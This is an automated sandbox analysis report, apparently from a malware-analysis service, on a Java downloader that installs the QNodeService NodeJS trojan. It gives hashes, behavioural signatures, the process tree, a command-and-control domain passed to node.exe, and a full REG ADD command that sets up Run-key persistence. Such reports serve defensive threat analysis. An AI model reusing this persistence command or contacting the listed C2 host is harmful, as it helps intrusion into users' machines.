Analysis
-
max time kernel
62s -
max time network
137s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
09-11-2020 21:35
Static task
static1
Behavioral task
behavioral1
Sample
rechnungonline.jar
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
rechnungonline.jar
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
-
Target
rechnungonline.jar
-
Size
93KB
-
MD5
f8e54943e0636946d7a7e5789a9c89ed
-
SHA1
36fb49a43dfc411b323a75d7704ae07d8b889672
-
SHA256
ae0d300b014222d0b5ef7587f5b9862ae1296843d7d776392dfa8c9ef2d9550b
-
SHA512
6f4fec5aa0ee8eeb29cf39aea3969de996e5594168149dc4fc12a65ea2ac57cd5a2d711b6ea76fd9161c7a47471a8a6a02c4d9474a884cad34714ea00d491761
Score
10/10
Malware Config
Signatures
-
QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
-
Executes dropped EXE 3 IoCs
pid Process 2484 node.exe 3332 node.exe 3748 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\aa8066c0-0a8a-424f-91b1-c5b684831951 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
resource yara_rule behavioral2/files/0x000100000001ab6e-170.dat js behavioral2/files/0x000100000001ab6e-173.dat js behavioral2/files/0x000100000001ab6e-177.dat js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 30 wtfismyip.com 31 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 2484 node.exe 2484 node.exe 2484 node.exe 2484 node.exe 3332 node.exe 3332 node.exe 3332 node.exe 3332 node.exe 3748 node.exe 3748 node.exe 3748 node.exe 3748 node.exe 3748 node.exe 3748 node.exe 3748 node.exe 3748 node.exe 3748 node.exe 3748 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4068 wrote to memory of 508 4068 java.exe 77 PID 4068 wrote to memory of 508 4068 java.exe 77 PID 508 wrote to memory of 2484 508 javaw.exe 81 PID 508 wrote to memory of 2484 508 javaw.exe 81 PID 2484 wrote to memory of 3332 2484 node.exe 83 PID 2484 wrote to memory of 3332 2484 node.exe 83 PID 3332 wrote to memory of 3748 3332 node.exe 84 PID 3332 wrote to memory of 3748 3332 node.exe 84 PID 3748 wrote to memory of 2476 3748 node.exe 86 PID 3748 wrote to memory of 2476 3748 node.exe 86 PID 2476 wrote to memory of 1548 2476 cmd.exe 87 PID 2476 wrote to memory of 1548 2476 cmd.exe 87
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\rechnungonline.jar1⤵
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\169088be.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:508 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vf38BJ\boot.js --hub-domain september101991.ddns.net4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3332 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vf38BJ\boot.js --hub-domain september101991.ddns.net5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aa8066c0-0a8a-424f-91b1-c5b684831951" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "aa8066c0-0a8a-424f-91b1-c5b684831951" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:1548
-
-
-
-
-
-